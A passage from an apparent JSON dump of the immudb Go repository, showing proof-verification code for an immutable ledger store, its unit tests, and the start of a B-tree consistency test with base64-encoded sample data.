found)\n\n\t\t\t\t\tdelete(txsMap, tx)\n\t\t\t\t}\n\t\t\t})\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "embedded/store/verification.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/ahtree\"\n\t\"github.com/codenotary/immudb/embedded/htree\"\n)\n\nfunc VerifyInclusion(proof *htree.InclusionProof, entryDigest, root [sha256.Size]byte) bool {\n\treturn htree.VerifyInclusion(proof, entryDigest, root)\n}\n\nfunc advanceLinearHash(alh [sha256.Size]byte, txID uint64, term [sha256.Size]byte) [sha256.Size]byte {\n\tvar bs [txIDSize + 2*sha256.Size]byte\n\tbinary.BigEndian.PutUint64(bs[:], txID)\n\tcopy(bs[txIDSize:], alh[:])\n\tcopy(bs[txIDSize+sha256.Size:], term[:]) // innerHash = hash(ts + mdLen + md + nentries + eH + blTxID + blRoot)\n\treturn sha256.Sum256(bs[:])              // hash(txID + prevAlh + innerHash)\n}\n\nfunc VerifyLinearProof(proof *LinearProof, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) bool {\n\tif proof == nil || proof.SourceTxID != sourceTxID || proof.TargetTxID != targetTxID {\n\t\treturn false\n\t}\n\n\tif proof.SourceTxID == 0 || proof.SourceTxID > proof.TargetTxID ||\n\t\tlen(proof.Terms) == 0 || sourceAlh != proof.Terms[0] {\n\t\treturn false\n\t}\n\n\tif uint64(len(proof.Terms)) != targetTxID-sourceTxID+1 {\n\t\treturn false\n\t}\n\n\tcalculatedAlh := proof.Terms[0]\n\n\tfor i := 1; i < len(proof.Terms); i++ {\n\t\tcalculatedAlh = advanceLinearHash(calculatedAlh, proof.SourceTxID+uint64(i), proof.Terms[i])\n\t}\n\n\treturn targetAlh == calculatedAlh\n}\n\nfunc VerifyLinearAdvanceProof(\n\tproof *LinearAdvanceProof,\n\tstartTxID uint64,\n\tendTxID uint64,\n\tendAlh [sha256.Size]byte,\n\ttreeRoot [sha256.Size]byte,\n\ttreeSize uint64,\n) bool {\n\t//\n\t//       Old\n\t//  \\ Merkle Tree\n\t//   \\\n\t//    \\\n\t//     \\              Additional Inclusion proof\n\t//      \\                  for those nodes\n\t//       \\                in new Merkle Tree\n\t//        \\            ......................\n\t//         \\          /                      \\\n\t//          \\\n\t//           \\+--+     +--+     +--+     +--+     +--+\n\t// -----------|  |-----|  |-----|  |-----|  |-----|  |\n\t//            +--+     +--+     +--+     +--+     +--+\n\t//\n\t//         startTxID                            endTxID\n\t//\n\n\t// This must not happen - that's an invalid proof\n\tif endTxID < startTxID {\n\t\treturn false\n\t}\n\n\t// Linear Advance Proof is not needed\n\tif endTxID <= startTxID+1 {\n\t\treturn true\n\t}\n\n\t// Check more preconditions that would indicate broken proof\n\tif proof == nil ||\n\t\tlen(proof.LinearProofTerms) != int(endTxID-startTxID) ||\n\t\tlen(proof.InclusionProofs) != int(endTxID-startTxID)-1 {\n\t\treturn false\n\t}\n\n\tcalculatedAlh := proof.LinearProofTerms[0] // alh at startTx+1\n\tfor txID := startTxID + 1; txID < endTxID; txID++ {\n\t\t// Ensure the node in the chain is included in the target Merkle Tree\n\t\tif !ahtree.VerifyInclusion(\n\t\t\tproof.InclusionProofs[txID-startTxID-1],\n\t\t\ttxID,\n\t\t\ttreeSize,\n\t\t\tleafFor(calculatedAlh),\n\t\t\ttreeRoot,\n\t\t) {\n\t\t\treturn false\n\t\t}\n\n\t\t// Get the Alh for the next transaction\n\t\tcalculatedAlh = advanceLinearHash(calculatedAlh, txID+1, proof.LinearProofTerms[txID-startTxID])\n\t}\n\n\t// We must end up with the final Alh - that one is also checked for inclusion but in different part of the proof\n\treturn calculatedAlh == endAlh\n}\n\nfunc VerifyDualProof(proof *DualProof, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) bool {\n\tif proof == nil ||\n\t\tproof.SourceTxHeader == nil ||\n\t\tproof.TargetTxHeader == nil ||\n\t\tproof.SourceTxHeader.ID != sourceTxID ||\n\t\tproof.TargetTxHeader.ID != targetTxID {\n\t\treturn false\n\t}\n\n\tif proof.SourceTxHeader.ID == 0 || proof.SourceTxHeader.ID > proof.TargetTxHeader.ID {\n\t\treturn false\n\t}\n\n\tcSourceAlh := proof.SourceTxHeader.Alh()\n\tif sourceAlh != cSourceAlh {\n\t\treturn false\n\t}\n\n\tcTargetAlh := proof.TargetTxHeader.Alh()\n\tif targetAlh != cTargetAlh {\n\t\treturn false\n\t}\n\n\tif sourceTxID < proof.TargetTxHeader.BlTxID {\n\t\tverifies := ahtree.VerifyInclusion(\n\t\t\tproof.InclusionProof,\n\t\t\tsourceTxID,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t\tleafFor(sourceAlh),\n\t\t\tproof.TargetTxHeader.BlRoot,\n\t\t)\n\n\t\tif !verifies {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif proof.SourceTxHeader.BlTxID > 0 {\n\t\tverifies := ahtree.VerifyConsistency(\n\t\t\tproof.ConsistencyProof,\n\t\t\tproof.SourceTxHeader.BlTxID,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t\tproof.SourceTxHeader.BlRoot,\n\t\t\tproof.TargetTxHeader.BlRoot,\n\t\t)\n\n\t\tif !verifies {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif proof.TargetTxHeader.BlTxID > 0 {\n\t\tverifies := ahtree.VerifyLastInclusion(\n\t\t\tproof.LastInclusionProof,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t\tleafFor(proof.TargetBlTxAlh),\n\t\t\tproof.TargetTxHeader.BlRoot,\n\t\t)\n\n\t\tif !verifies {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif sourceTxID < proof.TargetTxHeader.BlTxID {\n\t\tverifies := VerifyLinearProof(proof.LinearProof, proof.TargetTxHeader.BlTxID, targetTxID, proof.TargetBlTxAlh, targetAlh)\n\t\tif !verifies {\n\t\t\treturn false\n\t\t}\n\n\t\t// Verify that the part of the linear proof consumed by the new merkle tree is consistent with that Merkle Tree\n\t\t// In this case, this is the whole chain to the SourceTxID from the previous Merkle Tree.\n\t\t// The sourceTxID consistency is already proven using proof.InclusionProof\n\t\tif !VerifyLinearAdvanceProof(\n\t\t\tproof.LinearAdvanceProof,\n\t\t\tproof.SourceTxHeader.BlTxID,\n\t\t\tsourceTxID,\n\t\t\tsourceAlh,\n\t\t\tproof.TargetTxHeader.BlRoot,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t) {\n\t\t\treturn false\n\t\t}\n\n\t} else {\n\n\t\tverifies := VerifyLinearProof(proof.LinearProof, sourceTxID, targetTxID, sourceAlh, targetAlh)\n\t\tif !verifies {\n\t\t\treturn false\n\t\t}\n\n\t\t// Verify that the part of the linear proof consumed by the new merkle tree is consistent with that Merkle Tree\n\t\t// In this case, this is the whole linear chain between the old Merkle Tree and the new Merkle Tree. The last entry\n\t\t// in the new Merkle Tree is already proven through the LastInclusionProof, the remaining part of the liner proof\n\t\t// that goes outside of the target Merkle Tree will be validated in future DualProof validations\n\t\tif !VerifyLinearAdvanceProof(\n\t\t\tproof.LinearAdvanceProof,\n\t\t\tproof.SourceTxHeader.BlTxID,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t\tproof.TargetBlTxAlh,\n\t\t\tproof.TargetTxHeader.BlRoot,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc leafFor(d [sha256.Size]byte) [sha256.Size]byte {\n\tvar b [1 + sha256.Size]byte\n\tb[0] = ahtree.LeafPrefix\n\tcopy(b[1:], d[:])\n\treturn sha256.Sum256(b[:])\n}\n\ntype EntrySpecDigest func(kv *EntrySpec) [sha256.Size]byte\n\nfunc EntrySpecDigestFor(version int) (EntrySpecDigest, error) {\n\tswitch version {\n\tcase 0:\n\t\treturn EntrySpecDigest_v0, nil\n\tcase 1:\n\t\treturn EntrySpecDigest_v1, nil\n\t}\n\n\treturn nil, ErrUnsupportedTxVersion\n}\n\nfunc EntrySpecDigest_v0(kv *EntrySpec) [sha256.Size]byte {\n\tb := make([]byte, len(kv.Key)+sha256.Size)\n\tcopy(b[:], kv.Key)\n\thvalue := sha256.Sum256(kv.Value)\n\tcopy(b[len(kv.Key):], hvalue[:])\n\treturn sha256.Sum256(b)\n}\n\nfunc EntrySpecDigest_v1(kv *EntrySpec) [sha256.Size]byte {\n\tvar mdbs []byte\n\n\tif kv.Metadata != nil {\n\t\tmdbs = kv.Metadata.Bytes()\n\t}\n\n\tmdLen := len(mdbs)\n\tkLen := len(kv.Key)\n\n\tb := make([]byte, sszSize+mdLen+sszSize+kLen+sha256.Size)\n\ti := 0\n\n\tbinary.BigEndian.PutUint16(b[i:], uint16(mdLen))\n\ti += sszSize\n\n\tcopy(b[i:], mdbs)\n\ti += mdLen\n\n\tbinary.BigEndian.PutUint16(b[i:], uint16(kLen))\n\ti += sszSize\n\n\tcopy(b[i:], kv.Key)\n\ti += len(kv.Key)\n\n\tvar hvalue [sha256.Size]byte\n\n\tif kv.IsValueTruncated {\n\t\thvalue = kv.HashValue\n\t} else {\n\t\thvalue = sha256.Sum256(kv.Value)\n\t}\n\n\tcopy(b[i:], hvalue[:])\n\ti += sha256.Size\n\n\treturn sha256.Sum256(b[:i])\n}\n\nfunc VerifyDualProofV2(proof *DualProofV2, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) error {\n\tif proof == nil ||\n\t\tproof.SourceTxHeader == nil ||\n\t\tproof.TargetTxHeader == nil ||\n\t\tproof.SourceTxHeader.ID == 0 ||\n\t\tproof.SourceTxHeader.ID != sourceTxID ||\n\t\tproof.TargetTxHeader.ID != targetTxID {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tif sourceTxID > targetTxID {\n\t\treturn ErrSourceTxNewerThanTargetTx\n\t}\n\n\tcSourceAlh := proof.SourceTxHeader.Alh()\n\tif sourceAlh != cSourceAlh {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tcTargetAlh := proof.TargetTxHeader.Alh()\n\tif targetAlh != cTargetAlh {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tif proof.SourceTxHeader.ID-1 != proof.SourceTxHeader.BlTxID || proof.TargetTxHeader.ID-1 != proof.TargetTxHeader.BlTxID {\n\t\treturn ErrUnexpectedLinkingError\n\t}\n\n\tif sourceTxID == targetTxID {\n\t\treturn nil\n\t}\n\n\tverifies := ahtree.VerifyInclusion(\n\t\tproof.InclusionProof,\n\t\tsourceTxID,\n\t\tproof.TargetTxHeader.BlTxID,\n\t\tleafFor(sourceAlh),\n\t\tproof.TargetTxHeader.BlRoot,\n\t)\n\n\tif !verifies {\n\t\treturn fmt.Errorf(\"inclusion proof does NOT validate\")\n\t}\n\n\tif sourceTxID == 1 {\n\t\t// corner case to validate the first transaction\n\t\t// alh is empty when the digest of the first transaction is calculated\n\t\tverifies = ahtree.VerifyConsistency(\n\t\t\tproof.ConsistencyProof,\n\t\t\tsourceTxID,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t\tleafFor(sourceAlh),\n\t\t\tproof.TargetTxHeader.BlRoot,\n\t\t)\n\t} else {\n\t\tverifies = ahtree.VerifyConsistency(\n\t\t\tproof.ConsistencyProof,\n\t\t\tproof.SourceTxHeader.BlTxID,\n\t\t\tproof.TargetTxHeader.BlTxID,\n\t\t\tproof.SourceTxHeader.BlRoot,\n\t\t\tproof.TargetTxHeader.BlRoot,\n\t\t)\n\t}\n\tif !verifies {\n\t\treturn fmt.Errorf(\"consistency proof does NOT validate\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/store/verification_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestVerifyLinearProofEdgeCases(t *testing.T) {\n\trequire.False(t, VerifyLinearProof(nil, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil)))\n\trequire.False(t, VerifyLinearProof(&LinearProof{}, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil)))\n\n\trequire.True(t,\n\t\tVerifyLinearProof(\n\t\t\t&LinearProof{Terms: [][sha256.Size]byte{sha256.Sum256(nil)}, SourceTxID: 1, TargetTxID: 1},\n\t\t\t1,\n\t\t\t1,\n\t\t\tsha256.Sum256(nil),\n\t\t\tsha256.Sum256(nil),\n\t\t),\n\t)\n\n\trequire.False(t,\n\t\tVerifyLinearProof(\n\t\t\t&LinearProof{Terms: [][sha256.Size]byte{sha256.Sum256(nil)}, SourceTxID: 1, TargetTxID: 2},\n\t\t\t1,\n\t\t\t2,\n\t\t\tsha256.Sum256(nil),\n\t\t\tsha256.Sum256(nil),\n\t\t),\n\t)\n}\n\nfunc TestVerifyDualProofEdgeCases(t *testing.T) {\n\trequire.False(t, VerifyDualProof(nil, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil)))\n\trequire.False(t, VerifyDualProof(&DualProof{}, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil)))\n\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 10\n\teCount := 4\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\tsourceTx := tempTxHolder(t, immuStore)\n\ttargetTx := tempTxHolder(t, immuStore)\n\n\ttargetTxID := uint64(txCount)\n\terr = immuStore.ReadTx(targetTxID, false, targetTx)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(txCount), targetTx.header.ID)\n\n\tfor i := 0; i < txCount-1; i++ {\n\t\tsourceTxID := uint64(i + 1)\n\n\t\terr := immuStore.ReadTx(sourceTxID, false, sourceTx)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), sourceTx.header.ID)\n\n\t\tdproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header())\n\t\trequire.NoError(t, err)\n\n\t\tverifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\trequire.True(t, verifies)\n\n\t\t// Alter proof\n\t\tdproof.SourceTxHeader.BlTxID++\n\t\tverifies = VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\trequire.False(t, verifies)\n\n\t\t// Restore proof\n\t\tdproof.SourceTxHeader.BlTxID--\n\n\t\t// Alter proof\n\t\tdproof.TargetTxHeader.BlTxID++\n\t\tverifies = VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\trequire.False(t, verifies)\n\n\t\t// Restore proof\n\t\tdproof.TargetTxHeader.BlTxID--\n\t}\n\n}\n\nfunc TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) {\n\tdir := filepath.Join(t.TempDir(), \"data\")\n\tcopier := fs.NewStandardCopier()\n\trequire.NoError(t, copier.CopyDir(\"../../test/data_long_linear_proof\", dir))\n\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, immuStore)\n\n\tmaxTxID := immuStore.TxCount()\n\n\tt.Run(\"data check\", func(t *testing.T) {\n\t\trequire.EqualValues(t, 30, maxTxID, \"Invalid dataset - expected 30 transactions\")\n\n\t\tt.Run(\"transactions 1-10 do not use linear proof longer than 1\", func(t *testing.T) {\n\t\t\tfor txID := uint64(1); txID <= 10; txID++ {\n\t\t\t\thdr, err := immuStore.ReadTxHeader(txID, true, false)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, txID-1, hdr.BlTxID)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"transactions 11-20 use long linear proof\", func(t *testing.T) {\n\t\t\tfor txID := uint64(11); txID <= 20; txID++ {\n\t\t\t\thdr, err := immuStore.ReadTxHeader(txID, true, false)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.EqualValues(t, 10, hdr.BlTxID)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"transactions 21-30 do not use linear proof longer than 1\", func(t *testing.T) {\n\t\t\tfor txID := uint64(21); txID <= 30; txID++ {\n\t\t\t\thdr, err := immuStore.ReadTxHeader(txID, true, false)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, txID-1, hdr.BlTxID)\n\t\t\t}\n\t\t})\n\n\t})\n\n\tt.Run(\"exhaustive consistency proof check\", func(t *testing.T) {\n\t\tfor sourceTxID := uint64(1); sourceTxID < maxTxID; sourceTxID++ {\n\t\t\tfor targetTxID := sourceTxID; targetTxID < maxTxID; targetTxID++ {\n\n\t\t\t\tsourceTx := tempTxHolder(t, immuStore)\n\t\t\t\ttargetTx := tempTxHolder(t, immuStore)\n\n\t\t\t\terr := immuStore.ReadTx(sourceTxID, false, sourceTx)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = immuStore.ReadTx(targetTxID, false, targetTx)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tdproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tverifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\t\t\trequire.True(t, verifies)\n\t\t\t}\n\t\t}\n\t})\n\n}\n"
  },
  {
    "path": "embedded/tbtree/consistency_error_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage tbtree\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc consistencyCheck(t *testing.T, tbtree *TBtree, n node) {\n\tswitch n := n.(type) {\n\tcase *innerNode:\n\t\t// All nodes must be within the range of this node\n\t\tfor _, sub := range n.nodes {\n\t\t\trequire.True(t, bytes.Compare(n.minKey(), sub.minKey()) <= 0)\n\t\t}\n\n\t\t// All nodes must have sorted non-verlapping ranges\n\t\tfor i := 1; i < len(n.nodes); i++ {\n\t\t\trequire.True(t, bytes.Compare(n.nodes[i-1].minKey(), n.nodes[i].minKey()) < 0)\n\t\t}\n\n\t\t// Consistency for child nodes\n\t\tfor _, sub := range n.nodes {\n\t\t\tconsistencyCheck(t, tbtree, sub)\n\t\t}\n\n\tcase *leafNode:\n\t\t// All values must be within the range of this node\n\t\tfor _, v := range n.values {\n\t\t\trequire.True(t, bytes.Compare(n.minKey(), v.key) <= 0)\n\t\t}\n\n\t\t// All values must be sorted by keys\n\t\tfor i := 1; i < len(n.values); i++ {\n\t\t\trequire.True(t, bytes.Compare(n.values[i-1].key, n.values[i].key) < 0)\n\t\t}\n\n\tcase *nodeRef:\n\t\t// check if reference is consistent with the node\n\t\tsub, err := tbtree.nodeAt(n.off, true)\n\t\trequire.NoError(t, err)\n\t\trequire.True(t, bytes.Equal(n._minKey, sub.minKey()))\n\n\t\tconsistencyCheck(t, tbtree, sub)\n\n\tdefault:\n\t\trequire.Fail(t, \"unknown node type\")\n\t}\n}\n\nfunc TestConsistencyFailure(t *testing.T) {\n\n\tdataset := []string{\n\t\t`[{\"K\":\"AkNUTC5EQVRBQkFTRS4AAAAB\",\"V\":\"AAAACgEAAAAAAAAAmKw+rNqZUNaZOr1kBNPS74JCKQ2US/6sA8G3QTmDMiEAAAAA\"}]`,\n\t\t`[{\"K\":\"AGttZDp2Y24uZGVtby5iNDAzNDIzYzYyNWUyMzA3ODhkOGZmYzBkNTVlN2RhYTdmNjU0ZDU2ZTEwZjA1NDVjZTZiMmVkNWNjNTM4MTI5\",\"V\":\"AAAAwwEAAAAAAAAKgKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA\"},\n\t\t  {\"K\":\"AHZjbi5kZW1vLmI0MDM0MjNjNjI1ZTIzMDc4OGQ4ZmZjMGQ1NWU3ZGFhN2Y2NTRkNTZlMTBmMDU0NWNlNmIyZWQ1Y2M1MzgxMjk=\",\"V\":\"AAABAgEAAAAAAADN1tHauhzewtb6s+/13U4LJq2Jp2KcyHmB80MKyoQC6BQAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfkuRZ6\",\"V\":\"AAAAEAEAAAAAAAHPZYDfYL/AWu898rrPxsThBlMSQwUcPiA4IGbLZI3zt2oAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABAYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOUO2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOUO2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABJdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOUO2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkFQSS1LRVkuYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQ==\",\"V\":\"AAAABQEAAAAAAAHf8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAAAcZ2l0aHViLmNvbS9jb2Rlbm90YXJ5L2ltbXVkYgAAAAAAAAAAAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAA\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLmI0MDM0MjNjNjI1ZTIzMDc4OGQ4ZmZjMGQ1NWU3ZGFhN2Y2NTRkNTZlMTBmMDU0NWNlNmIyZWQ1Y2M1MzgxMjk=\",\"V\":\"AAAADAEAAAAAAAHk8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA\"}]`,\n\t\t`[{\"K\":\"AGttZDp2Y24uZGVtby4zZDJkM2Q4YWEwNWY5MDM1ZjZjOWIzNzhkN2ZhN2ZiYjNlMDRhZGQ0NzM1Njc0M2YyMzc4OGI3Y2EyZDc4MTYw\",\"V\":\"AAAAwwEAAAAAAAHwgKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA\"},\n\t\t  {\"K\":\"AHZjbi5kZW1vLjNkMmQzZDhhYTA1ZjkwMzVmNmM5YjM3OGQ3ZmE3ZmJiM2UwNGFkZDQ3MzU2NzQzZjIzNzg4YjdjYTJkNzgxNjA=\",\"V\":\"AAABBgEAAAAAAAKzAUzqzPAwyduD2gFty/hdWdWJxxC9ddFDBQGNz0lha00AAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfmq+LO\",\"V\":\"AAAAEAEAAAAAAAO5Qz99OohSnocbVG0Jn1fGI2UJI8wLeThvjci/7A4dEsIAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABAM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MEO2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MEO2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  